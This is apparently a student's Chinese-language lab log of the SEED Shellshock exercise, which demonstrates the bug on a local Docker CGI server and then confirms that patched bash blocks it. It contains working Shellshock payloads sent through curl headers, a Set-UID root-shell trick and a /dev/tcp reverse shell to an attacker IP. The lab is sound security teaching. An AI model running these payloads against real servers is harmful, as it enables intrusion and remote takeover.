# Seed Lab:Shellshock Attack(Bashdoor) 本文是針對 seedsecuritylabs.org 網站上所提供的題目做的個人練習記錄。 題目來源:https://seedsecuritylabs.org/Labs_20.04/Software/Shellshock/ ## Environment Setup ```=shell # cmd cd /etc sudo vi hosts [10.9.0.80 www.seedlab-shellshock.com] ``` ![](https://i.imgur.com/9wIgwft.png) 將 seedlab-shellshock 網站的 DNS 設定手動添加到 etc 路徑下的 hosts 設定檔案中(需要使用 sudo 權限命令才可編輯該檔案)。電腦在連上特定網站前會先向 hosts 設定檔中查詢是否有對應 網址的 IP,如果查詢失敗才會再連線至 DNS 伺服器,查詢網址所對應的 IP 位址。 ## Container Setup and Commands ```=shell # cmd docker-compose build docker-compose up ``` ![](https://i.imgur.com/rp8arH5.png) ```=shell # cmd docker ps docker exec docksh 4b68fe7ea7a2 docker image list ``` ![](https://i.imgur.com/ycVy9w8.png) ![](https://i.imgur.com/pHPK1sG.png) ```=shell # cmd docker-compose down ``` ## Web Server and CGI ### Access Apache Default CGI Folder ```=shell # cmd dockps docksh <id> ls /usr/lib/cgi-bin cat /usr/lib/cgi-bin/vul.cgi ``` ![](https://i.imgur.com/QOizOYT.png) ## Use Curl Command ```=shell # cmd curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi ``` ![](https://i.imgur.com/RRRoEEP.png) curl [option] [URL…] 可以在 Linux 上通過 HTTP Protocol 來下載和上傳檔案,引數如下: | Argument | Discription | |-------------|------------------------------| | -X/--request | 使用指定的 http method 來發出 request | | -H/--header | 設定 request 裡所攜帶的 header | | -i/--include | 在 output 顯示 response 的 header | | -d/--data | 攜帶 HTTP POST Data | | -v/--verbose | 輸出更多的訊息方便 debug | | -u/--user | 攜帶使用者帳號、密碼 | | -b/--cookie | 攜帶 cookie(參數或是檔案位置) | ## Task 1: Experimenting with Bash Function ### Bash_shellshock Shell ```=shell # cmd sudo cp bash_shellshock /bin/ sudo ln –sf /bin/bash_shellshock /bin/sh ll /bin/sh ``` ![](https://i.imgur.com/64q3zZ7.png) 先把有漏洞的 bash 版本 bash_shellshock 檔案複製到 bin 裡面,然後以 bash_shellshock 替換原本的 Debian Almquist Shell。 ### Parsing Logic Problem ```=shell # cmd #!/bin/bash_shellshock foo='() { echo "shellshock vulnerability"; }; /bin/ls;' echo $foo export foo bash_shellshock declare -f foo ``` ![](https://i.imgur.com/xzqwy7x.png) ### Set-Uid Attack ```=c // vul.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(){ setuid( geteuid() ); system( "/bin/ls -l" ); return 0;} ``` ```=shell # cmd #!/bin/bash_shellshock gcc vul.c -o vul ./vul sudo chown root vul sudo chmod +s vul ll vul foo='() { echo "shellshock vulnerability"; }; /bin/sh;' export foo ./vul ``` ![](https://i.imgur.com/dFigosi.png) ![](https://i.imgur.com/e1vuwQ5.png) ```=shell # cmd #!/bin/bash sudo ln -sf /bin/bash /bin/sh sudo chown root vul sudo chmod +s vul ll vul foo='() { echo "shellshock vulnerability"; }; /bin/sh;' export foo ./vul echo $foo ``` ![](https://i.imgur.com/lJ1pDpW.png) ![](https://i.imgur.com/zkaePIT.png) ### Observation & Conclusion 先準備了一個 vul.c 內容是執行 /bin/ls 列出路徑當前所有檔案,在編譯該檔案後以 chown root 以及 chmod +s 命令將它提升權限成為 Set-Uid 程式,我們可以看到提權後 vul 檔案的權限狀態轉變成為 –rwsrwsr-x,接著用 export 命令匯出一個環境變數 foo(在尾端接了額外的惡意程式碼 /bin/sh),緊接著執行 vul 檔案;在有安全性漏洞的 bash_shellshock 版本中,輸出結果是使用者直接獲得了 root 權限,這是因為漏洞 shell 連帶執行了 foo 尾端分號後額外攜帶的 /bin/sh 命令。相對的,在修復過後的 bash 版本當中,這一小段 /bin/sh 程式碼明顯沒有被 shell 所執行。 ## Task 2: Passing Data to Bash via Environment Variable ```=c # getenv.cgi #!/bin/bash_shellshock echo "Content-type: text/plain" echo echo "****** Environment Variables ******" strings /proc/$$/environ ``` ```=shell # container cat /usr/lib/cgi-bin/getenv.cgi ``` ![](https://i.imgur.com/baGrPKX.png) ![](https://i.imgur.com/Dwuluc8.png) ### Task 2.A Using A Browser 可以看到 Apache Server 上的環境變數 getenv.cgi: http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi ![](https://i.imgur.com/emVFbhu.png) ### Task 2.B Using Curl Command ```=shell # cmd curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi ``` ![](https://i.imgur.com/crgXhF6.png) ![](https://i.imgur.com/3eIRtg8.png) ![](https://i.imgur.com/V5lW6wK.png) ![](https://i.imgur.com/khghRZI.png) ![](https://i.imgur.com/ua2d3Tc.png) ### Observation & Conclusion string/proc/$$/environ 命令可以輸出一個程式中所有的環境變數。在我們執行 CGI 的時候,環境變數會傳入 CGI 當中。curl -v 命令可以讓 Apache 將 HTTP request 中的資訊轉換成環境變數傳給 CGI;curl -A 命令可以對 Header request 中 User Agent 區塊更改環境變數 HTTP_USER_AGENT;引數 -e 可以添加 Referer 區塊連結;引數 -H 可以將自定義的 Header 傳送到伺服器。 | curl | --help | |----|-----------------------------------------------| | -v | Make the operation more talkative | | -A | <name> Send User-Agent <name> to server | | -e | <URL> Referrer URL | | -H | <header/@file> Pass custom header(s) to server | 當 Server 建立一個子程序執行 Bash 時,會為 Bash 提供環境變數。父程序(Apache)將 USER_AGENT 等等環境變數傳遞給子程序(Bash)。shellshock 會把環境變數轉為自身 shell 變數。Server 建立一個子程序執行CGI程式時,會傳遞該變數以及其他環境變數給CGI程式。 利用 curl -A 命令我們可以控制輸入的環境變數,接著可以發動 Reverse Shellshock 攻擊。 ## Task 3: Launching the Shellshock Attack ```=shell #cmd curl -A "() { echo hello;};echo Content_type: text/plain;echo; /bin/ls -al" -v http://10.9.0.80/cgi-bin/vul.cgi ``` ![](https://i.imgur.com/urMJ6zc.png) ### Task 3.A Get the Server to Send Back the Content of the /etc/passwd File. ```=shell #cmd curl -A "() { echo hello;};echo Content_type: text/plain;echo; /bin/cat /etc/passwd" http://10.9.0.80/cgi-bin/vul.cgi ``` ![](https://i.imgur.com/gh1eI6V.png) ### Task 3.B Get the Server to Tell You Its Process’ User ID. ```=shell # cmd curl -e "() { echo hello;};echo Content_type: text/plain;echo; /bin/id" http://10.9.0.80/cgi-bin/vul.cgi ``` ![](https://i.imgur.com/jXh7o6I.png) ### Task 3.C Get the Server to Create a Fle Inside the /tmp Folder. ```=shell # container curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/touch /tmp/virus" http://10.9.0.80/cgi-bin/vul.cgi ls /tmp ``` ![](https://i.imgur.com/NZBk8vY.png) ```=shell # cmd curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/touch /tmp/virus" http://10.9.0.80/cgi-bin/vul.cgi curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/ls –l /tmp" http://10.9.0.80/cgi-bin/vul.cgi ``` ![](https://i.imgur.com/bjAdXie.png) ### Task 3.D Get the Server to Delete the File that You Just Created inside /tmp Folder. ```=shell # cmd curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/rm /tmp/virus" http://10.9.0.80/cgi-bin/vul.cgi curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/ls -l /tmp " http://10.9.0.80/cgi-bin/vul.cgi ``` ![](https://i.imgur.com/rmfNmsW.png) ![](https://i.imgur.com/An2irjk.png) ![](https://i.imgur.com/4Hh18rh.png) ### Question 1 ```=shell #cmd curl -A "() { echo hello;};echo Content_type: text/plain;echo; /bin/cat /etc/shadow" http://10.9.0.80/cgi-bin/vul.cgi ``` ```=shell # container ll /usr/lib/cgi-bin/vul.cgi ll /etc/shadow ``` ![](https://i.imgur.com/LbGUcd2.png) ![](https://i.imgur.com/i82WTU0.png) 首先我們用 curl 執行 Shellshock 漏洞命令,我們可以發現雖然 vul.cgi 有權限讀取 /etc/passwd 但是卻沒有權限讀取 linux 中存放使用者密碼的 /etc/shadow 檔案,於是無法通過 vul.cgi 執行程式獲得 shadow 檔案的內文。 ```=shell # cmd ps aux | grep apache ``` ![](https://i.imgur.com/aLkOzrV.png) ### Observation & Conclusion Question 1 的部分,shadow 檔案的所有者為 root,所在組別則是 shadow,其他組的使用者沒有許可權限讀取這個檔案,vul.cgi 檔案的所有者為 root,並且所在組別是 root,因此通過 vul.cgi 獲得 bash_shellshock之後執行指令,對於 shadow 檔案而言,vul.cgi 是其他組別使用者,並沒有讀取的許可權限,於是無法通過 vul.cgi 執行程式獲得 shadow 檔案的內容。 另外 ps aux 這個命令可以觀察當前系統所有的程序資料,www-data 是一個給 web servers 使用的特定 system user。設定某資料夾或檔案權限為 www-data 是希望 web servers 不要獲得太高的權限,同時仍然能夠讓 web application 適當寫入。 ## Task 4: Getting a Reverse Shell via Shellshock Attack ```=shell #cmd dcup ``` ![](https://i.imgur.com/vdWVE4G.png) ![](https://i.imgur.com/6VpIpa9.png) ```=shell # cmd ip addr nc –l 9090 ``` ![](https://i.imgur.com/VLXFArC.png) ```=shell # cmd dockps docksh <id> curl -A "() { echo hello; };echo Content_type: text/plain; echo; echo; /bin/bash -i &> /dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi ``` 可以看到攻擊者IP為 10.0.2.15,在攻擊者終端,利用 nc 命令監聽 9090 埠上的 TCP 連線狀態。執行 /bin/bash -i &> /dev/tcp/10.0.2.15/9090 0<&1 2>&1 傳送惡意請求,導致 CGI 程式觸發 Bash shell,Bash shell 會連線到10.0.2.15(攻擊者)的9090埠,攻擊者的 nc 程式接受這個連線後顯示由遠端伺服器的 CGI 所觸發的 Bash 送來的 shell 提示符,代表著 Reverse shell 成功了。執行 id 輸出的遠端 CGI 程式當前使用者 id是 www-data。 ![](https://i.imgur.com/hzDRYFc.png) ![](https://i.imgur.com/zS35B3a.png) ## Task 5: Using the Patched Bash ```=shell # container cd /usr/lib/cgi-bin/ ls nano vul.cgi ``` ![](https://i.imgur.com/vvnhD93.png) ![](https://i.imgur.com/CORkRQr.png) 重新做一遍 Task 3 的命令: ### Task 5.A Get the Server to Send Back the Content of the /etc/passwd File. ```=shell # cmd curl -A "() { echo hello;};echo Content_type: text/plain;echo; /bin/cat /etc/passwd" http://10.9.0.80/cgi-bin/vul.cgi ``` ![](https://i.imgur.com/rS3ir8Y.png) ### Task 5.B Get the Server to Tell You Its Process’ User ID. ```=shell # cmd curl -e "() { echo hello;};echo Content_type: text/plain;echo; /bin/id" http://10.9.0.80/cgi-bin/vul.cgi ``` ![](https://i.imgur.com/xcGd4hM.png) ### Task 5.C Get the Server to Create a Fle Inside the /tmp Folder. ```=shell # container /bin/touch /tmp/virus ls /tmp ``` ![](https://i.imgur.com/TRTXBsl.png) ```=shell # cmd curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/touch /tmp/virus" http://10.9.0.80/cgi-bin/vul.cgi curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/ls –l /tmp" http://10.9.0.80/cgi-bin/vul.cgi ``` ![](https://i.imgur.com/mom98T8.png) ### Task 5.D Get the Server to Delete the File that You Just Created inside /tmp Folder. ```=shell # cmd curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/rm /tmp/virus" http://10.9.0.80/cgi-bin/vul.cgi curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/ls -l /tmp " http://10.9.0.80/cgi-bin/vul.cgi ``` ![](https://i.imgur.com/7H9oS71.png) ![](https://i.imgur.com/UT4sVyt.png) ### Observation & Conclusion 我們可以發現,跟 Task 3的 Bash_shellshock 版本相比,在無漏洞版本的 Bash 當中,使用了 Bash Shellshock 漏洞語法不管是試圖讀取/etc/shadow 或是試圖讀取 /bin/id 或是試圖創建後移除 docker 上 /tmp 資料夾中的檔案,這些行為都是失敗的,因為當前運行的 Bash 已經修復了 Shellshock(Bashdoor)的安全漏洞。 --- 前篇參考:https://withhhsong.com/seedlab_setuid/ --- : : 20211114 : : 與松 withhhsong : : ###### tags: `tutorials` `LectureNote` `seedlab` `shellshock` `bashdoor` `notes` `Linux`